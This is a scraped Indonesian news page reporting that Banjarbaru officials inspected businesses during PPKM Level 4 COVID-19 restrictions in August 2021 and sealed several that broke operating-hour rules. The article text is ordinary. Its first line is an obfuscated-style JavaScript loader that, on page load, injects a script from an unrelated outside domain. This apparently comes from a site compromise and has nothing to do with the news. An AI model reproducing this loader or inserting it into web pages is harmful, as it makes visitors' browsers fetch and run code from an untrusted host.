(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Bandel di Saat PPKM Level 4, Tempat Usaha di Banjarbaru Kena Sanksi Penutupan


KANALKALIMKANTAN.COM, BANJARBARU – Pemberlakukan Pembatasan Kegiatan Masyarakat (PPKM) level 4 belum sepenuhnya dipatuhi warga. Setidaknya, sejumlah tempat usaha masih bandel tetap buka di atas jam operasional yang ditentukan saat PPKM level 4 di Kota Banjarbaru.

Saat Wali Kota Banjarbaru Aditya Mufti Ariffin dan Wakil Wali Kota Banjarbaru Wartono bersama Ketua DPRD Banjarbaru Fadliansyah, Wakil Ketua DPRD Banjarbaru Taufik Rachman melakukan sidak PPKM pada Kamis (19/8/2021) malam, sejumlah tempat usaha langsung kena sanksi.

Rute kali ini diawali di sepanjang Jalan Panglima Batur, kemudian Jalan A Yani, terus masuk Jalan Balitra dilanjutkan lewat Jalan Karang Rejo dan Jalan Tri Kora menuju jalan Mistar Cokrokusumo, kemudian menuju Jalan A Yani depan titik peyekatan di dekat bundaran simpang empat Banjarbaru.

 

 

Baca juga: BREAKING NEWS. Perketat PPKM Level 4, Banjarbaru Lakukan Penyekatan di Sejumlah Lokasi

Setelah sidak PPKM, Kapolres Banjarbaru AKBP Nur Khamid mengatakan bahwa sidak ini kaitannya dengan pelaksanaan PPKM level 4, dimana aturannya sangat jelas bahwa pada pukul 18.00 Wita semua tempat usaha makan dan minum harus menghentikan operasional, boleh buka pukul 20.00 Wita hanya untuk delivery bukan makan di tempat.

“Saat cek langsung ke lapangan ada beberapa titik yang melanggar terpaksa di segel atau kita tutup sementara selama seminggu, dan kami juga mengimbau kepada seluruh masyarakat Banjarbaru pada saat ini kita masih berada pada level 4, kita berharap kebersamaan, kerjasama dan pengertiannya,” ujar Kapolres Banjarbaru.

Sementara itu Wali Kota Banjarbaru Aditya menyampaikan bahwa untuk penyekatan bersifat situasional, diperkirakan jam berapa kemungkinan padat dan disana akan dilaksanakan pemeriksaan,bukan penyekatan.

Baca juga: Dor! Tim Resmob Polda Kalsel Lumpuhkan Pelaku Begal Sadis di Bati-Bati

Mengingat Banjarbaru adalah sebagai daerah perlintasan agak sulit kita untuk melaksanakan penyekatan, jadi kalau kita menutup Banjarbaru sehingga akses arah ke Hulu Sungai dan arah ke Tanah Bumbu, Tanah Laut itu akan terganggu.

“Kita sepakat untuk tidak ada melaksanakan penyekatan tetapi ada titik-titik pemeriksaan. Mudah-mudahan ini bisa menurunkan penyebaran Covid-19,” tandasnya. (kanalkalimantan.com/al)

Reporter : al
Editor : kk


Risa

Recent Posts

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

2 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

2 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

2 jam ago

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

4 jam ago

Pungut Sampah Suporter Timnas Pasca Nobar di Balai Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Suporter setia Timnas Indonesia di Kota Banjarbaru Kalimantan Selatan (Kalsel) kompak membersihkan… Read More

6 jam ago

Sah! Ini Nama 45 Calon Terpilih Anggota DPRD Kabupaten Banjar 2024-2029

Golkar dan Gerindra Masing-masing 8 Kursi, PDIP, Partai Gelora, dan PBB Kebagian 1 Kursi Read More

6 jam ago

This website uses cookies.